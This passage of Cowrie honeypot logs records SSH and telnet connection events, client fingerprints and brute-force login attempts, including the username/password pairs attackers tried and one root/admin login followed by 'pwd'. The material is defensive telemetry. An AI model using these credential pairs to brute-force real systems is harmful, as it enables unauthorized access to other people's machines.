d25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:59.560050Z","src_ip":"103.237.144.204","session":"97fc0ddbbe1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:59.844656Z","src_ip":"35.225.56.202","session":"69eb77bde2cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"111111","message":"login attempt [user4/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:31:00.596301Z","src_ip":"103.237.144.204","session":"97fc0ddbbe1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:31:01.850070Z","src_ip":"103.237.144.204","session":"97fc0ddbbe1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":55454,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c5615e8a6d2","protocol":"telnet","message":"New connection: 178.128.93.180:55454 (10.17.0.5:23) [session: 6c5615e8a6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:31:05.591277Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51718,"dst_ip":"159.203.135.109","dst_port":23,"session":"4257fa1559cf","protocol":"telnet","message":"New connection: 69.4.83.194:51718 (159.203.135.109:23) [session: 4257fa1559cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:31:26.805936Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53046,"dst_ip":"159.203.135.109","dst_port":23,"session":"2be35a2dbc36","protocol":"telnet","message":"New connection: 69.4.83.194:53046 (159.203.135.109:23) [session: 2be35a2dbc36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:31:29.277479Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":46494,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2b7a07a6e93","protocol":"telnet","message":"New connection: 178.128.93.180:46494 (10.17.0.5:23) [session: b2b7a07a6e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:31:32.848642Z"}
{"eventid":"cowrie.session.closed","duration":72.74453067779541,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:31:39.031285Z","src_ip":"178.128.93.180","session":"27deeff94938","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":60082,"dst_ip":"159.203.135.109","dst_port":23,"session":"5936d117fea2","protocol":"telnet","message":"New connection: 69.4.83.194:60082 (159.203.135.109:23) [session: 5936d117fea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:31:46.300083Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":56842,"dst_ip":"10.17.0.5","dst_port":22,"session":"c13b67829c52","protocol":"ssh","message":"New connection: 109.172.54.111:56842 (10.17.0.5:22) [session: c13b67829c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:31:52.616594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:31:52.621502Z","src_ip":"109.172.54.111","session":"c13b67829c52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:31:52.718604Z","src_ip":"109.172.54.111","session":"c13b67829c52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"element123","message":"login attempt [root/element123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:31:53.006729Z","src_ip":"109.172.54.111","session":"c13b67829c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:31:54.106159Z","src_ip":"109.172.54.111","session":"c13b67829c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.006184816360474,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:01.812021Z","src_ip":"69.4.83.194","session":"4257fa1559cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.73247528076172,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:03.009859Z","src_ip":"69.4.83.194","session":"2be35a2dbc36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:08.052961Z","src_ip":"46.19.67.181","session":"1a6c4fede8ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.56.159.185","src_port":43128,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e04ca6f4932","protocol":"ssh","message":"New connection: 50.56.159.185:43128 (159.203.135.109:22) [session: 5e04ca6f4932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:13.220219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:13.226132Z","src_ip":"50.56.159.185","session":"5e04ca6f4932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:13.267622Z","src_ip":"50.56.159.185","session":"5e04ca6f4932","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:13.391765Z","src_ip":"50.56.159.185","session":"5e04ca6f4932","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:13.545203Z","src_ip":"50.56.159.185","session":"5e04ca6f4932","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"pwd","message":"CMD: pwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:13.548886Z","src_ip":"50.56.159.185","session":"5e04ca6f4932","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a1159e9df3670d549d04524532629f5477ceb7deec9b45e47e8c009506ecb2c8","size":6,"shasum":"a1159e9df3670d549d04524532629f5477ceb7deec9b45e47e8c009506ecb2c8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a1159e9df3670d549d04524532629f5477ceb7deec9b45e47e8c009506ecb2c8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:13.599611Z","src_ip":"50.56.159.185","session":"5e04ca6f4932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:13.605306Z","src_ip":"50.56.159.185","session":"5e04ca6f4932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42446,"dst_ip":"159.203.135.109","dst_port":23,"session":"dae841f999a4","protocol":"telnet","message":"New connection: 69.4.83.194:42446 (159.203.135.109:23) [session: dae841f999a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:13.935134Z"}
{"eventid":"cowrie.session.closed","duration":33.17627763748169,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:19.476245Z","src_ip":"69.4.83.194","session":"5936d117fea2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":74.66004085540771,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:20.251180Z","src_ip":"178.128.93.180","session":"6c5615e8a6d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":59086,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4836f559ee1","protocol":"ssh","message":"New connection: 35.225.56.202:59086 (159.203.135.109:22) [session: b4836f559ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:20.898834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:20.903472Z","src_ip":"35.225.56.202","session":"b4836f559ee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:20.937490Z","src_ip":"35.225.56.202","session":"b4836f559ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123.com","message":"login attempt [root/Aa123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:21.221919Z","src_ip":"35.225.56.202","session":"b4836f559ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:22.259757Z","src_ip":"35.225.56.202","session":"b4836f559ee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":36314,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e975d4517ce","protocol":"ssh","message":"New connection: 182.52.90.106:36314 (159.203.135.109:22) [session: 9e975d4517ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:22.638890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:22.643499Z","src_ip":"182.52.90.106","session":"9e975d4517ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:22.899836Z","src_ip":"182.52.90.106","session":"9e975d4517ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser2025","message":"login attempt [devuser/devuser2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:23.956252Z","src_ip":"182.52.90.106","session":"9e975d4517ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:25.216406Z","src_ip":"182.52.90.106","session":"9e975d4517ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":38216,"dst_ip":"159.203.135.109","dst_port":22,"session":"99e4888192b4","protocol":"ssh","message":"New connection: 103.237.144.204:38216 (159.203.135.109:22) [session: 99e4888192b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:32.199997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:32.204543Z","src_ip":"103.237.144.204","session":"99e4888192b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:32.457480Z","src_ip":"103.237.144.204","session":"99e4888192b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andy","password":"andy","message":"login attempt [andy/andy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:33.491602Z","src_ip":"103.237.144.204","session":"99e4888192b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:34.745038Z","src_ip":"103.237.144.204","session":"99e4888192b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.266828536987305,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:48.201854Z","src_ip":"69.4.83.194","session":"dae841f999a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":75.89609146118164,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:48.744592Z","src_ip":"178.128.93.180","session":"b2b7a07a6e93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55754,"dst_ip":"159.203.135.109","dst_port":23,"session":"193fb0b01ed8","protocol":"telnet","message":"New connection: 69.4.83.194:55754 (159.203.135.109:23) [session: 193fb0b01ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:50.594743Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":51782,"dst_ip":"159.203.135.109","dst_port":22,"session":"91bfa7fe4be1","protocol":"ssh","message":"New connection: 103.122.221.179:51782 (159.203.135.109:22) [session: 91bfa7fe4be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:55.563784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:55.567740Z","src_ip":"103.122.221.179","session":"91bfa7fe4be1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:55.820107Z","src_ip":"103.122.221.179","session":"91bfa7fe4be1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kri1988","message":"login attempt [root/kri1988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:56.579905Z","src_ip":"103.122.221.179","session":"91bfa7fe4be1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58222,"dst_ip":"159.203.135.109","dst_port":23,"session":"990bf5e25b97","protocol":"telnet","message":"New connection: 69.4.83.194:58222 (159.203.135.109:23) [session: 990bf5e25b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:56.592567Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:57.834973Z","src_ip":"103.122.221.179","session":"91bfa7fe4be1","protocol":"ssh"}
